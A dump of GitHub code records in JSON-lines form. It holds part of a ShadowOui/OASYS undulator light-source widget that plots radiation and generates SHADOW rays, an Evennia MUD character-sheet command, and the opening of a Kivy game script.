advanced\n left_box_5 = oasysgui.widgetBox(tab_grid, \"Advanced Settings\", addSpace=True, orientation=\"vertical\")\n # ng_t = 51\n # ng_p = 11\n # ng_j = 20\n # ng_e = 11\n # code_undul_phot = 0\n # flag_size = 0\n oasysgui.lineEdit(left_box_5, self, \"ng_e\", \"Points in Photon energy (if polychromatic)\", tooltip=\"Points in Photon energy\", labelWidth=260, valueType=int, orientation=\"horizontal\")\n oasysgui.lineEdit(left_box_5, self, \"ng_t\", \"Points in theta [elevation]\", tooltip=\"Points in theta [elevation]\", labelWidth=260, valueType=int, orientation=\"horizontal\")\n oasysgui.lineEdit(left_box_5, self, \"ng_p\", \"Points in phi [azimuthal]\", tooltip=\"Points in phi [azimuthal]\", labelWidth=260, valueType=int, orientation=\"horizontal\")\n oasysgui.lineEdit(left_box_5, self, \"ng_j\", \"Points in electron trajectory\", tooltip=\"Points in electron trajectory\", labelWidth=260, valueType=int, orientation=\"horizontal\")\n\n gui.comboBox(left_box_5, self, \"code_undul_phot\", label=\"Calculation method\", labelWidth=120,\n items=[\"internal\", \"pySRU\",\"SRW\"],sendSelectedValue=False, orientation=\"horizontal\")\n\n gui.comboBox(left_box_5, self, \"flag_size\", label=\"Radiation Size\", labelWidth=120,\n items=[\"point\", \"Gaussian\", \"Far field backpropagated\"],sendSelectedValue=False, orientation=\"horizontal\")\n\n gui.comboBox(left_box_5, self, \"coherent\", label=\"Coherent beam\", labelWidth=120,\n items=[\"No\", \"Yes\"],sendSelectedValue=False, orientation=\"horizontal\")\n\n gui.rubber(self.controlArea)\n\n\n undulator_plot_tab = oasysgui.widgetBox(self.main_tabs, addToLayout=0, margin=4)\n\n self.main_tabs.insertTab(1, undulator_plot_tab, \"Undulator Plots\")\n\n view_box = oasysgui.widgetBox(undulator_plot_tab, \"Plotting Style\", addSpace=False, orientation=\"horizontal\")\n view_box_1 = oasysgui.widgetBox(view_box, \"\", addSpace=False, orientation=\"vertical\", width=350)\n\n self.undulator_view_type_combo = gui.comboBox(view_box_1, self, \"plot_aux_graph\", label=\"Plot Graphs?\",\n labelWidth=220,\n items=[\"No\", \"Yes\"],\n callback=self.set_PlotAuxGraphs, sendSelectedValue=False, orientation=\"horizontal\")\n\n self.undulator_tab = []\n self.undulator_tabs = oasysgui.tabWidget(undulator_plot_tab)\n\n self.initializeUndulatorTabs()\n\n gui.rubber(self.mainArea)\n\n def sendNewBeam2(self, trigger):\n self.power_step = None\n self.add_power = False\n\n try:\n if trigger and trigger.new_object == True:\n if trigger.has_additional_parameter(\"seed_increment\"):\n self.seed += trigger.get_additional_parameter(\"seed_increment\")\n\n if trigger.has_additional_parameter(\"energy_value\") and trigger.has_additional_parameter(\"energy_step\"):\n self.set_at_resonance = 0\n self.photon_energy = trigger.get_additional_parameter(\"energy_value\")\n self.delta_e = trigger.get_additional_parameter(\"energy_step\")\n self.power_step = trigger.get_additional_parameter(\"power_step\")\n\n self.set_UseResonance()\n\n self.add_power = True\n\n self.runShadowSource()\n except:\n pass\n\n def set_UseEmittances(self):\n self.box_use_emittances.setVisible(self.use_emittances_combo == 1)\n\n def set_UseResonance(self):\n self.box_photon_energy.setVisible(self.set_at_resonance == 0)\n self.box_maxangle_urad.setVisible(self.set_at_resonance == 0)\n self.box_harmonic.setVisible(self.set_at_resonance > 0)\n\n def set_PlotAuxGraphs(self):\n # self.progressBarInit()\n\n self.initializeUndulatorTabs() # update number of tabs if monochromatic/polychromatic\n\n if self.sourceundulator is not None:\n try:\n self.initializeUndulatorTabs()\n\n self.plot_undulator_results()\n except Exception as exception:\n QtWidgets.QMessageBox.critical(self, \"Error\",\n str(exception),\n QtWidgets.QMessageBox.Ok)\n\n # self.progressBarFinished()\n\n def plot_undulator_results(self):\n if self.plot_aux_graph == 1:\n try:\n\n radiation,photon_energy,theta,phi = self.sourceundulator.get_radiation_polar()\n\n tabs_canvas_index = 0\n plot_canvas_index = 0\n polarization = self.sourceundulator.get_result_polarization()\n\n\n if self.delta_e == 0.0:\n self.plot_data2D(radiation[0], 1e6*theta, phi,\n tabs_canvas_index, plot_canvas_index, title=\"radiation (photons/s/eV/rad2)\", xtitle=\"theta [urad]\", ytitle=\"phi [rad]\")\n\n tabs_canvas_index += 1\n self.plot_data2D(polarization[0], 1e6*theta, phi,\n tabs_canvas_index, plot_canvas_index, title=\"polarization |Es|/(|Es|+|Ep|)\", xtitle=\"theta [urad]\", ytitle=\"phi [rad]\")\n\n tabs_canvas_index += 1\n radiation_interpolated,photon_energy,vx,vz = self.sourceundulator.get_radiation_interpolated_cartesian()\n self.plot_data2D(radiation_interpolated[0], 1e6*vx, 1e6*vz,\n tabs_canvas_index, plot_canvas_index, title=\"radiation\", xtitle=\"vx [urad]\", ytitle=\"vz [rad]\")\n\n tabs_canvas_index += 1\n x,y = self.sourceundulator.get_photon_size_distribution()\n self.plot_data1D(x*1e6,y,\n tabs_canvas_index, plot_canvas_index,\n title=\"Photon emission size distribution\", xtitle=\"Distance [um]\", ytitle=\"Intensity [arbitrary units]\")\n\n else:\n self.plot_data3D(radiation, photon_energy, 1e6*theta, phi,\n tabs_canvas_index, plot_canvas_index,\n title=\"radiation (photons/s/eV/rad2)\", xtitle=\"theta [urad]\", ytitle=\"phi [rad]\",\n callback_for_title=self.get_title_for_stack_view_flux)\n\n tabs_canvas_index += 1\n self.plot_data3D(polarization, photon_energy, 1e6*theta, phi,\n tabs_canvas_index, plot_canvas_index,\n title=\"polarization |Es|/(|Es|+|Ep|)\", xtitle=\"theta [urad]\", ytitle=\"phi [rad]\",\n callback_for_title=self.get_title_for_stack_view_polarization)\n\n tabs_canvas_index += 1\n radiation_interpolated,photon_energy,vx,vz = self.sourceundulator.get_radiation_interpolated_cartesian()\n self.plot_data3D(radiation_interpolated, photon_energy, 1e6*vx, 1e6*vz,\n tabs_canvas_index, plot_canvas_index,\n title=\"radiation\", xtitle=\"vx [urad]\", ytitle=\"vz [rad]\",\n callback_for_title=self.get_title_for_stack_view_flux)\n\n tabs_canvas_index += 1\n x,y = self.sourceundulator.get_photon_size_distribution()\n self.plot_data1D(x*1e6,y,\n tabs_canvas_index, plot_canvas_index,\n title=\"Photon emission size distribution\", xtitle=\"Distance [um]\", ytitle=\"Intensity [arbitrary units]\")\n #\n # if polychromatic, plot power density\n #\n\n intens_xy,vx,vz = self.sourceundulator.get_power_density_interpolated_cartesian()\n\n tabs_canvas_index += 1\n self.plot_data2D(1e-6*intens_xy,1e6*vx,1e6*vz,\n tabs_canvas_index, plot_canvas_index,\n title=\"power density W/mrad2\", xtitle=\"vx [urad]\", ytitle=\"vz [rad]\")\n\n\n #\n # if polychromatic, plot flux(energy)\n #\n\n\n flux,spectral_power,photon_energy = self.sourceundulator.get_flux_and_spectral_power()\n\n tabs_canvas_index += 1\n self.plot_data1D(photon_energy,flux,\n tabs_canvas_index, plot_canvas_index,\n title=\"Flux\", xtitle=\"Photon Energy [eV]\", ytitle=\"Flux [photons/s/0.1%bw]\")\n\n\n tabs_canvas_index += 1\n self.plot_data1D(photon_energy,spectral_power,\n tabs_canvas_index, plot_canvas_index,\n title=\"Spectral Power\", xtitle=\"Photon Energy [eV]\", ytitle=\"Spectral Power [W/eV]\")\n\n print(\"\\n\\n\")\n # print(\"Total power (integral [sum] of spectral power) [W]: \",spectral_power.sum()*(photon_energy[1]-photon_energy[0]))\n print(\"Total power (integral [trapz] of spectral power) [W]: \",numpy.trapz(spectral_power,photon_energy))\n print(\"Total number of photons (integral [trapz] of flux): \",numpy.trapz(flux/(1e-3*photon_energy),photon_energy))\n print(\"\\n\\n\")\n\n\n\n\n except Exception as exception:\n QtWidgets.QMessageBox.critical(self, \"Error\",\n str(exception),\n QtWidgets.QMessageBox.Ok)\n\n def get_title_for_stack_view_flux(self,idx):\n photon_energy = self.sourceundulator.get_result_photon_energy()\n return \"Units: Photons/s/eV/rad2; Photon energy: %8.3f eV\"%(photon_energy[idx])\n\n\n #\n # these are plottting routines hacked from xoppy code TODO: promote to higher level/superclass ?\n #\n def get_title_for_stack_view_polarization(self,idx):\n photon_energy = self.sourceundulator.get_result_photon_energy()\n return \"|Es| / (|Es|+|Ep|); Photon energy: %8.3f eV\"%(photon_energy[idx])\n\n def plot_data3D(self, data3D, dataE, dataX, dataY, tabs_canvas_index, plot_canvas_index, title=\"\", xtitle=\"\", ytitle=\"\",\n callback_for_title=(lambda idx: \"\")):\n\n for i in range(1+self.undulator_tab[tabs_canvas_index].layout().count()):\n self.undulator_tab[tabs_canvas_index].layout().removeItem(self.undulator_tab[tabs_canvas_index].layout().itemAt(i))\n\n ##self.tab[tabs_canvas_index].layout().removeItem(self.tab[tabs_canvas_index].layout().itemAt(0))\n\n\n xmin = numpy.min(dataX)\n xmax = numpy.max(dataX)\n ymin = numpy.min(dataY)\n ymax = numpy.max(dataY)\n\n\n stepX = dataX[1]-dataX[0]\n stepY = dataY[1]-dataY[0]\n if len(dataE) > 1: stepE = dataE[1]-dataE[0]\n else: stepE = 1.0\n\n if stepE == 0.0: stepE = 1.0\n if stepX == 0.0: stepX = 1.0\n if stepY == 0.0: stepY = 1.0\n\n dim0_calib = (dataE[0],stepE)\n dim1_calib = (ymin, stepY)\n dim2_calib = (xmin, stepX)\n\n\n data_to_plot = numpy.swapaxes(data3D,1,2)\n\n colormap = {\"name\":\"temperature\", \"normalization\":\"linear\", \"autoscale\":True, \"vmin\":0, \"vmax\":0, \"colors\":256}\n\n self.und_plot_canvas[plot_canvas_index] = StackViewMainWindow()\n self.und_plot_canvas[plot_canvas_index].setGraphTitle(title)\n self.und_plot_canvas[plot_canvas_index].setLabels([\"Photon Energy [eV]\",ytitle,xtitle])\n self.und_plot_canvas[plot_canvas_index].setColormap(colormap=colormap)\n self.und_plot_canvas[plot_canvas_index].setStack(numpy.array(data_to_plot),\n calibrations=[dim0_calib, dim1_calib, dim2_calib] )\n\n self.und_plot_canvas[plot_canvas_index].setTitleCallback( callback_for_title )\n self.undulator_tab[tabs_canvas_index].layout().addWidget(self.und_plot_canvas[plot_canvas_index])\n\n\n\n def plot_data2D(self, data2D, dataX, dataY, tabs_canvas_index, plot_canvas_index, title=\"\", xtitle=\"\", ytitle=\"\"):\n\n for i in range(1+self.undulator_tab[tabs_canvas_index].layout().count()):\n self.undulator_tab[tabs_canvas_index].layout().removeItem(self.undulator_tab[tabs_canvas_index].layout().itemAt(i))\n\n origin = (dataX[0],dataY[0])\n scale = (dataX[1]-dataX[0],dataY[1]-dataY[0])\n\n data_to_plot = data2D.T\n\n colormap = {\"name\":\"temperature\", \"normalization\":\"linear\", \"autoscale\":True, \"vmin\":0, \"vmax\":0, \"colors\":256}\n\n self.und_plot_canvas[plot_canvas_index] = Plot2D()\n self.und_plot_canvas[plot_canvas_index].resetZoom()\n self.und_plot_canvas[plot_canvas_index].setXAxisAutoScale(True)\n self.und_plot_canvas[plot_canvas_index].setYAxisAutoScale(True)\n self.und_plot_canvas[plot_canvas_index].setGraphGrid(False)\n self.und_plot_canvas[plot_canvas_index].setKeepDataAspectRatio(True)\n self.und_plot_canvas[plot_canvas_index].yAxisInvertedAction.setVisible(False)\n self.und_plot_canvas[plot_canvas_index].setXAxisLogarithmic(False)\n self.und_plot_canvas[plot_canvas_index].setYAxisLogarithmic(False)\n self.und_plot_canvas[plot_canvas_index].getMaskAction().setVisible(False)\n self.und_plot_canvas[plot_canvas_index].getRoiAction().setVisible(False)\n self.und_plot_canvas[plot_canvas_index].getColormapAction().setVisible(False)\n self.und_plot_canvas[plot_canvas_index].setKeepDataAspectRatio(False)\n\n\n\n self.und_plot_canvas[plot_canvas_index].addImage(numpy.array(data_to_plot),\n legend=\"\",\n scale=scale,\n origin=origin,\n colormap=colormap,\n replace=True)\n\n self.und_plot_canvas[plot_canvas_index].setActiveImage(\"\")\n self.und_plot_canvas[plot_canvas_index].setGraphXLabel(xtitle)\n self.und_plot_canvas[plot_canvas_index].setGraphYLabel(ytitle)\n self.und_plot_canvas[plot_canvas_index].setGraphTitle(title)\n\n self.undulator_tab[tabs_canvas_index].layout().addWidget(self.und_plot_canvas[plot_canvas_index])\n\n def plot_data1D(self, dataX, dataY, tabs_canvas_index, plot_canvas_index, title=\"\", xtitle=\"\", ytitle=\"\"):\n\n self.undulator_tab[tabs_canvas_index].layout().removeItem(self.undulator_tab[tabs_canvas_index].layout().itemAt(0))\n\n self.und_plot_canvas[plot_canvas_index] = oasysgui.plotWindow()\n\n self.und_plot_canvas[plot_canvas_index].addCurve(dataX, dataY,)\n\n self.und_plot_canvas[plot_canvas_index].resetZoom()\n self.und_plot_canvas[plot_canvas_index].setXAxisAutoScale(True)\n self.und_plot_canvas[plot_canvas_index].setYAxisAutoScale(True)\n self.und_plot_canvas[plot_canvas_index].setGraphGrid(False)\n\n self.und_plot_canvas[plot_canvas_index].setXAxisLogarithmic(False)\n self.und_plot_canvas[plot_canvas_index].setYAxisLogarithmic(False)\n self.und_plot_canvas[plot_canvas_index].setGraphXLabel(xtitle)\n self.und_plot_canvas[plot_canvas_index].setGraphYLabel(ytitle)\n self.und_plot_canvas[plot_canvas_index].setGraphTitle(title)\n\n self.undulator_tab[tabs_canvas_index].layout().addWidget(self.und_plot_canvas[plot_canvas_index])\n\n #\n # end plotting routines\n #\n\n def initializeUndulatorTabs(self):\n current_tab = self.undulator_tabs.currentIndex()\n\n size = len(self.undulator_tab)\n indexes = range(0, size)\n for index in indexes:\n self.undulator_tabs.removeTab(size-1-index)\n\n if self.delta_e == 0.0:\n self.undulator_tab = [\n gui.createTabPage(self.undulator_tabs, \"Radiation intensity (polar)\"),\n gui.createTabPage(self.undulator_tabs, \"Polarization (polar)\"),\n gui.createTabPage(self.undulator_tabs, \"Radiation intensity (cartesian - interpolated)\"),\n gui.createTabPage(self.undulator_tabs, \"Photon source size\"),\n ]\n\n self.und_plot_canvas = [None,None,None,None,]\n else:\n self.undulator_tab = [\n gui.createTabPage(self.undulator_tabs, \"Radiation (polar)\"),\n gui.createTabPage(self.undulator_tabs, \"Polarization (polar)\"),\n gui.createTabPage(self.undulator_tabs, \"Radiation (interpolated)\"),\n gui.createTabPage(self.undulator_tabs, \"Photon source size\"),\n gui.createTabPage(self.undulator_tabs, \"Power Density (interpolated)\"),\n gui.createTabPage(self.undulator_tabs, \"Flux\"),\n gui.createTabPage(self.undulator_tabs, \"Spectral Power\"),\n ]\n\n self.und_plot_canvas = [None,None,None,None,None,None,None,]\n\n for tab in self.undulator_tab:\n tab.setFixedHeight(self.IMAGE_HEIGHT)\n tab.setFixedWidth(self.IMAGE_WIDTH)\n\n # self.undulator_plot_canvas = [None, None, None]\n\n self.undulator_tabs.setCurrentIndex(current_tab)\n\n\n def runShadowSource(self):\n\n self.setStatusMessage(\"\")\n self.progressBarInit()\n\n # this is to be able to start the widget out of Oasys\n try:\n tmp = self.workspace_units\n except:\n self.workspace_units = 'm'\n self.workspace_units_label = 'm'\n self.workspace_units_to_m = 1.0\n self.workspace_units_to_cm = 1e2\n self.workspace_units_to_mm = 1e3\n\n\n self.checkFields()\n\n self.progressBarSet(10)\n\n self.setStatusMessage(\"Running SHADOW\")\n\n sys.stdout = EmittingStream(textWritten=self.writeStdOut)\n if self.trace_shadow:\n grabber = TTYGrabber()\n grabber.start()\n\n self.progressBarSet(50)\n\n try:\n self.shadow_output.setText(\"\")\n su = Undulator.initialize_as_vertical_undulator(\n K=self.K,\n period_length=self.period_length,\n periods_number=int(self.periods_number))\n\n\n ebeam = ElectronBeam(\n energy_in_GeV=self.energy_in_GeV,\n energy_spread = 0.0,\n current = self.current,\n number_of_bunches = 1,\n moment_xx=(self.sigma_x)**2,\n moment_xxp=0.0,\n moment_xpxp=(self.sigma_divergence_x)**2,\n moment_yy=(self.sigma_z)**2,\n moment_yyp=0.0,\n moment_ypyp=(self.sigma_divergence_z)**2 )\n\n print(ebeam.info())\n\n\n codes = [\"internal\",\"pySRU\",\"SRW\"]\n selected_code = codes[self.code_undul_phot]\n\n self.sourceundulator = SourceUndulator(\n name=\"shadowOui-Full-Undulator\",\n syned_electron_beam=ebeam,\n syned_undulator=su,\n flag_emittance=self.use_emittances_combo,\n flag_size=self.flag_size,\n emin=1000, # to be set later\n emax=1001, # to be set later\n ng_e=2, # to be set later\n maxangle=self.maxangle_urad*1e-6,\n ng_t=self.ng_t,\n ng_p=self.ng_p,\n ng_j=self.ng_j,\n code_undul_phot=selected_code)\n\n if self.set_at_resonance == 0:\n if self.delta_e == 0:\n self.sourceundulator.set_energy_box(self.photon_energy,self.photon_energy,1)\n else:\n self.sourceundulator.set_energy_box(self.photon_energy-0.5*self.delta_e,\n self.photon_energy+0.5*self.delta_e,self.ng_e)\n else:\n self.sourceundulator.set_energy_monochromatic_at_resonance(self.harmonic)\n if self.delta_e > 0.0:\n e0,e1,ne = self.sourceundulator.get_energy_box()\n self.sourceundulator.set_energy_box(e0-0.5*self.delta_e,e0+0.5*self.delta_e,self.ng_e)\n\n rays = self.sourceundulator.calculate_rays(\n user_unit_to_m=self.workspace_units_to_m,\n F_COHER=self.coherent,\n SEED=self.seed,\n NRAYS=self.number_of_rays)\n\n if self.plot_aux_graph:\n self.set_PlotAuxGraphs()\n\n print(self.sourceundulator.info())\n\n shadow3_beam = Shadow3Beam(N=rays.shape[0])\n shadow3_beam.rays = rays\n\n if self.file_to_write_out >= 1:\n shadow3_beam.write(\"begin.dat\")\n print(\"File written to disk: begin.dat\")\n\n if self.file_to_write_out >= 2:\n SourceUndulatorInputOutput.write_file_undul_phot_h5(self.sourceundulator.get_result_dictionary(),\n file_out=\"radiation.h5\",mode=\"w\",entry_name=\"radiation\")\n\n beam_out = ShadowBeam(beam=shadow3_beam)\n beam_out.getOEHistory().append(ShadowOEHistoryItem(shadow_source_start=ShadowSource.create_src(),\n shadow_source_end=ShadowSource.create_src(),\n widget_class_name=\"Full Undulator\"))\n\n if self.add_power:\n additional_parameters = {}\n\n pd, vx, vy = self.sourceundulator.get_power_density_interpolated_cartesian()\n\n total_power = self.power_step if self.power_step > 0 else pd.sum()*(vx[1]-vx[0])*(vy[1]-vy[0])\n\n additional_parameters[\"total_power\"] = total_power\n additional_parameters[\"photon_energy_step\"] = self.delta_e\n\n beam_out.setScanningData(ShadowBeam.ScanningData(\"photon_energy\",\n self.photon_energy,\n \"Energy for Power Calculation\",\n \"eV\",\n additional_parameters))\n\n if self.delta_e == 0.0:\n beam_out.set_initial_flux(self.sourceundulator.get_flux()[0])\n\n self.progressBarSet(80)\n self.plot_results(beam_out)\n\n #\n # create python script for creating the shadow3 beam and display the script in the standard output\n #\n dict_parameters = {\n \"K\" : self.K,\n \"period_length\" : self.period_length,\n \"periods_number\" : self.periods_number,\n \"energy_in_GeV\" : self.energy_in_GeV,\n \"energy_spread\" : 0.0,\n \"current\" : self.current,\n \"number_of_bunches\" : 1,\n \"moment_xx\" : (self.sigma_x) ** 2,\n \"moment_xxp\" : 0.0,\n \"moment_xpxp\" : (self.sigma_divergence_x) ** 2,\n \"moment_yy\" : (self.sigma_z) ** 2,\n \"moment_yyp\" : 0.0,\n \"moment_ypyp\" : (self.sigma_divergence_z) ** 2,\n \"name\" : \"shadowOui-Full-Undulator\",\n \"flag_emittance\" : self.use_emittances_combo,\n \"flag_size\" : self.flag_size,\n \"emin\" : 1000, # to be set later\n \"emax\" : 1001, # to be set later\n \"ng_e\" : 2, # to be set later\n \"maxangle\" : self.maxangle_urad * 1e-6,\n \"ng_t\" : self.ng_t,\n \"ng_p\" : self.ng_p,\n \"ng_j\" : self.ng_j,\n \"code_undul_phot\" : selected_code,\n \"user_unit_to_m\" : self.workspace_units_to_m,\n \"F_COHER\" : self.coherent,\n \"SEED\" : self.seed,\n \"NRAYS\" : self.number_of_rays,\n \"EMIN\": self.sourceundulator._EMIN,\n \"EMAX\": self.sourceundulator._EMAX,\n \"NG_E\": self.sourceundulator._NG_E,\n \"MAXANGLE\": self.sourceundulator._MAXANGLE,\n\n }\n\n # write python script in standard output\n print(self.script_template().format_map(dict_parameters))\n\n\n self.setStatusMessage(\"\")\n self.send(\"Beam\", beam_out)\n\n except Exception as exception:\n QtWidgets.QMessageBox.critical(self, \"Error\",\n str(exception),\n QtWidgets.QMessageBox.Ok)\n\n if self.IS_DEVELOP: raise exception\n\n self.progressBarFinished()\n\n def script_template(self):\n return \"\"\"\n#\n# script to calculate the shadow3 beam for the full undulator (created by ShadowOui:UndulatorFull\\)\n#\nfrom syned.storage_ring.electron_beam import ElectronBeam\nfrom syned.storage_ring.magnetic_structures.undulator import Undulator\nfrom orangecontrib.shadow.util.undulator.source_undulator import SourceUndulator\nimport Shadow\nfrom Shadow import Beam as Shadow3Beam\n\nsu = Undulator.initialize_as_vertical_undulator(\n K={K},\n period_length={period_length},\n periods_number={periods_number})\n\n\nebeam = ElectronBeam(\n energy_in_GeV={energy_in_GeV},\n energy_spread = {energy_spread},\n current = {current},\n number_of_bunches = {number_of_bunches},\n moment_xx ={moment_xx},\n moment_xxp ={moment_xxp},\n moment_xpxp ={moment_xpxp},\n moment_yy ={moment_yy},\n moment_yyp ={moment_yyp},\n moment_ypyp={moment_ypyp})\n\nprint(ebeam.info())\n\nsourceundulator = SourceUndulator(\n name=\"{name}\",\n syned_electron_beam=ebeam,\n syned_undulator=su,\n flag_emittance={flag_emittance},\n flag_size={flag_size},\n emin = {emin},\n emax = {emax},\n ng_e = {ng_e},\n maxangle = {maxangle},\n ng_t={ng_t},\n ng_p={ng_p},\n ng_j={ng_j},\n code_undul_phot=\"{code_undul_phot}\")\n \nsourceundulator._EMIN = {EMIN}\nsourceundulator._EMAX = {EMAX}\nsourceundulator._NG_E = {NG_E}\nsourceundulator._MAXANGLE = {MAXANGLE}\n\nrays = sourceundulator.calculate_rays(\n user_unit_to_m={user_unit_to_m},\n F_COHER={F_COHER},\n SEED={SEED},\n NRAYS={NRAYS})\n\nprint(sourceundulator.info())\n\nbeam = Shadow3Beam(N=rays.shape[0])\nbeam.rays = rays\n\nShadow.ShadowTools.plotxy(beam,1,3,nbins=101,nolost=1,title=\"Real space\")\n# Shadow.ShadowTools.plotxy(beam,1,4,nbins=101,nolost=1,title=\"Phase space X\")\n# Shadow.ShadowTools.plotxy(beam,3,6,nbins=101,nolost=1,title=\"Phase space Z\")\n \n#\n# end script\n#\n\"\"\"\n\n\n def sendNewBeam(self, trigger):\n if trigger and trigger.new_object == True:\n self.runShadowSource()\n\n def checkFields(self):\n self.number_of_rays = congruence.checkPositiveNumber(self.number_of_rays, \"Number of rays\")\n self.seed = congruence.checkPositiveNumber(self.seed, \"Seed\")\n self.photon_energy = congruence.checkPositiveNumber(self.photon_energy, \"Energy\")\n self.delta_e = congruence.checkPositiveNumber(self.delta_e, \"Delta Energy\")\n\n self.energy_in_GeV = congruence.checkPositiveNumber(self.energy_in_GeV,\"Energy [GeV]\")\n self.current = congruence.checkPositiveNumber(self.current,\"Current [A]\")\n\n self.sigma_x = congruence.checkPositiveNumber(self.sigma_x, \"Size RMS H\")\n self.sigma_z = congruence.checkPositiveNumber(self.sigma_z, \"Size RMS V\")\n self.sigma_divergence_x = congruence.checkPositiveNumber(self.sigma_divergence_x, \"Divergence RMS H\")\n self.sigma_divergence_z = congruence.checkPositiveNumber(self.sigma_divergence_z, \"Divergence RMS V\")\n\n self.K = congruence.checkPositiveNumber(self.K,\"K\")\n self.period_length = congruence.checkPositiveNumber(self.period_length,\"period length [m]\")\n self.periods_number = congruence.checkStrictlyPositiveNumber(self.periods_number,\"Number of periods\")\n\n self.ng_t = int( congruence.checkStrictlyPositiveNumber(self.ng_t,\"Number of points in theta\") )\n self.ng_p = int( congruence.checkStrictlyPositiveNumber(self.ng_p,\"Number of points in phi\") )\n self.ng_j = int( congruence.checkStrictlyPositiveNumber(self.ng_j,\"Number of points in trajectory\") )\n self.ng_e = int( congruence.checkStrictlyPositiveNumber(self.ng_e,\"Number of points in energy\") )\n\n\n def receive_syned_data(self, data):\n if not data is None:\n if isinstance(data, synedb.Beamline):\n if not data.get_light_source() is None:\n if isinstance(data.get_light_source().get_magnetic_structure(), synedu.Undulator):\n light_source = data.get_light_source()\n\n # self.photon_energy = round(light_source.get_magnetic_structure().resonance_energy(light_source.get_electron_beam().gamma()), 3)\n self.set_at_resonance = 1\n self.set_UseResonance()\n self.delta_e = 0.0\n\n self.energy_in_GeV = light_source.get_electron_beam().energy()\n self.current = light_source.get_electron_beam().current()\n\n x, xp, y, yp = light_source.get_electron_beam().get_sigmas_all()\n\n self.sigma_x = x\n self.sigma_z = y\n self.sigma_divergence_x = xp\n self.sigma_divergence_z = yp\n\n self.period_length = light_source.get_magnetic_structure().period_length()\n self.periods_number = int(light_source.get_magnetic_structure().number_of_periods()) # in meter\n self.K = light_source.get_magnetic_structure().K_vertical()\n else:\n raise ValueError(\"Syned light source not congruent\")\n else:\n raise ValueError(\"Syned data not correct: light source not present\")\n else:\n raise ValueError(\"Syned data not correct\")\n\nif __name__ == \"__main__\":\n a = QApplication(sys.argv)\n ow = UndulatorFull()\n ow.show()\n a.exec_()\n ow.saveSettings()\n","repo_name":"oasys-kit/ShadowOui","sub_path":"orangecontrib/shadow/widgets/sources/ow_undulator_full.py","file_name":"ow_undulator_full.py","file_ext":"py","file_size_in_byte":38010,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"18898257584","text":"from evennia import default_cmds\nfrom typeclasses.characters import Character\nfrom .attributes import ATTRIBUTES, SKILLS\nfrom world.utils import columnize\nfrom world.headers import header, footer, subheader\n\nfrom django.conf import settings\n\nCOLOR = \"|G\"\n\ndef match_attribute(attr):\n return None\n \nclass CmdSheet(default_cmds.MuxCommand):\n key = \"sheet\"\n locks = \"cmd:all()\"\n help_category = \"Chargen\"\n\n def format_pair(self, d1=\"\", d2=\"\", color=COLOR):\n return f\"{color}{d1:<20.20}|n: |R{d2:<17.17}|n\".strip()\n\n def func(self):\n out = []\n caller = self.caller\n \n if self.args:\n target = caller.search(self.args, typeclass=Character)\n if not target:\n return\n if not target.access(caller, \"view\"):\n caller.msg(\"You do not have permission to view that character's sheet.\")\n return\n else:\n target = caller\n \n caller.msg(header(f\"Character Sheet\", player=caller, width=80, suppress_nl=True)) \n\n out = []\n for x in ATTRIBUTES:\n y = target.get_cg_attr(x)\n out.append(f\"{COLOR}{x.title():>19.19}|n ({y[0]:>2}/{y[1]:<2})\")\n \n caller.msg(subheader(\"Attributes\",player=caller, width=80, suppress_nl=True))\n caller.msg(columnize(out, width=80, cols=2))\n caller.msg(subheader(\"Skills\",player=caller, width=80, suppress_nl=True))\n caller.msg(subheader(\"Perks\",player=caller, width=80, suppress_nl=True))\n caller.msg(footer(\"\", player=caller, width=80))\n\nclass CmdSheet2(default_cmds.MuxCommand):\n key = \"sheet\"\n locks = \"cmd:all()\"\n help_category = \"Chargen\"\n\n def format_pair(self, d1, d2, color=COLOR):\n return f\"{color}{d1:14.14}|n {d2:<14.14}\"\n\n def func(self):\n caller = self.caller\n target = caller\n\n if self.args:\n target = caller.search(self.args, typeclass=Character)\n if not target:\n return\n if not target.access(caller, \"view\"):\n caller.msg(\"You do not have permission to view that character's sheet.\")\n return\n\n caller.msg(header(f\"What makes {target.name} S.P.E.C.I.A.L.\", player=caller, width=80, suppress_nl=True)) \n out = []\n\n \n out.append(self.format_pair(\"Origin\", \"Survivor\", color=COLOR))\n out.append(self.format_pair(\"Concept\", \"Gunner\", color=COLOR))\n out.append(self.format_pair(\"Age\", \"44\", color=COLOR))\n out.append(self.format_pair(\"Allegiance\", \"Commonwealth\", color=COLOR))\n out.append(self.format_pair(\"Level\", \"2\", color=COLOR))\n out.append(self.format_pair(\"Approved\", \"Yes\", color=COLOR))\n out.append(self.format_pair(\"XP Earned\", \"102\", color=COLOR))\n out.append(self.format_pair(\"XP Total\", \"102\", color=COLOR))\n\n caller.msg(columnize(out, width=80, cols=2))\n\n out = []\n\n for x in ATTRIBUTES:\n out.append(f\"{COLOR}{x.title():14.14}|n ({target.get_cg_attr(x, True):>2}/{target.get_cg_attr(x, False):<2})\")\n\n caller.msg(subheader(\"Attributes\",player=caller, width=80, suppress_nl=True))\n caller.msg(columnize(out, cols=3))\n\n caller.msg(subheader(\"Skills\", player=caller, width=80, suppress_nl=True))\n \n out = []\n for x in SKILLS:\n out.append(f\"{COLOR}{x[0].title():14}|n ({0:>2}/{4:<2})\")\n\n caller.msg(columnize(out, width=80, cols=3))\n\n caller.msg(subheader(\"Perks\", player=caller, width=80, suppress_nl=True))\n out = []\n out.append(self.format_pair('Big Leagues', '*' ))\n out.append(self.format_pair('Bloody Mess', '**' ))\n out.append(self.format_pair('Can Do!', '***'))\n \n caller.msg(columnize(out, width=80, cols=3))\n\n caller.msg(footer(\"\", player=caller, width=80))","repo_name":"Darren791/newgame","sub_path":"chargen/sheet.py","file_name":"sheet.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20572328036","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom kivy.app import App\nfrom kivy.uix.widget import Widget\nfrom kivy.properties import NumericProperty, ReferenceListProperty,\\\n ObjectProperty\nfrom kivy.vector import Vector\nfrom kivy.clock import Clock\nfrom kivy.uix.label import Label\nfrom kivy.core.window import Window\nfrom kivy.uix.image import Image\nfrom kivy.uix.button import Button\nfrom kivy.atlas import Atlas, Logger\nimport os\nimport json\nfrom os.path import dirname, join\nfrom kivy.core.image import Image as CoreImage\n\n\nimport math\nfrom random import randint\n\nclass Sprite(Image):\n def __init__(self, **kwargs):\n super(Sprite, self).__init__(allow_stretch=True, **kwargs)\n self.size = (self.texture.width, self.texture.height)\n self.texture.mag_filter 